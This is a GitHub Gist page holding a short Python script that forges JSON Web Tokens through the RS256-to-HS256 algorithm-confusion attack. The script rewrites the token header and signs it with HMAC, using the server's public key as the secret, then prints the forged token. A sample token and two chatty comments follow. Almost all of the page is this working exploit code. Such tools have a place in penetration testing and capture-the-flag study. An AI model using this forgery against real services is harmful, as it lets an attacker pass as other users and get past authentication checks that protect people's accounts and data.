Skip to content

Instantly share code, notes, and snippets.

@fado
Created February 16, 2022 17:37
Show Gist options
  • Save fado/81a25b783e2f816b254df960831006fd to your computer and use it in GitHub Desktop.
Save fado/81a25b783e2f816b254df960831006fd to your computer and use it in GitHub Desktop.
# JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJQYXJhZG94IiwiaWF0IjoxNjQ1MDIxMTE2LCJleHAiOjE2NDUwMjEyMzYsImRhdGEiOnsicGluZ3UiOiJub290cyJ9fQ.DTCQFWh3ZztXGzfgrk9wO74Bt15eQBM8dEOMuVSd8FUNPjCG3ktKqUZFjWoujxuhn2xeg-A65Ug1mhWMWDmfxfK_WuMRgOZExz1Zw2-yZgBpQgw8y21tefF3hA57_fthmCjTOOCczkIDSAhjJ6mNGRxMExBsa5Q85FMH_t2vJaij88ddxYTeVXYLtQ2gsyQxAFrWsHGx9n-UUsFTWUV_YuPahDcVgHtA-svcv85QAE1jAvYQ8BpjlHmJbh2mblur3bPXIpVEIPjkVtPD5acXIDqUn-afNh_h7_lOKwxzvjdx_d_4eV9El-aMoZKHApMeQ553pT8H36Eyr42XeGYE7w
import argparse
import subprocess
import base64
import binascii
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--token', action='store', type=str, help='')
parser.add_argument('-k', '--key', action='store', type=str, help='')
args = parser.parse_args()
header = ''
data = ''
signature = ''
if args.token:
token = args.token
if args.key:
filename = args.key
if not args.token or not args.key:
raise AttributeError('Requires a key and a token.')
header = token.split('.')[0]
data = token.split('.')[1]
signature = token.split('.')[2]
decoded_header = base64.b64decode(header).decode('utf-8')
decoded_header = decoded_header.replace('RS256', 'HS256')
header = base64.b64encode(decoded_header.encode('utf-8'))
payload = header.decode('utf-8')+ '.' + data
with open(filename, 'rb') as f:
content = f.read()
key_hex = binascii.hexlify(content)
echo = subprocess.Popen(('echo', '-n', payload), stdout=subprocess.PIPE)
output = subprocess.check_output(('openssl', 'dgst', '-sha256', '-mac', 'HMAC', '-macopt', 'hexkey:' + key_hex.decode('utf-8')), stdin=echo.stdout)
echo.wait()
output = output.decode('utf-8').replace('\n', '')
new_secret = base64.urlsafe_b64encode(binascii.a2b_hex(output))
new_secret = new_secret.decode('utf-8').replace('=','')
print("\n\nNEW TOKEN:")
print(payload + '.' + new_secret)
@marco-silva0000
Copy link

some magic:
my, data, here = "my.data.here".split(".")

how is it going?

@fado
Copy link
Author

fado commented Apr 8, 2022

how is it going?

Good mate. Never known anyone to attempt to strike up conversation through a Gist before though. :P

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment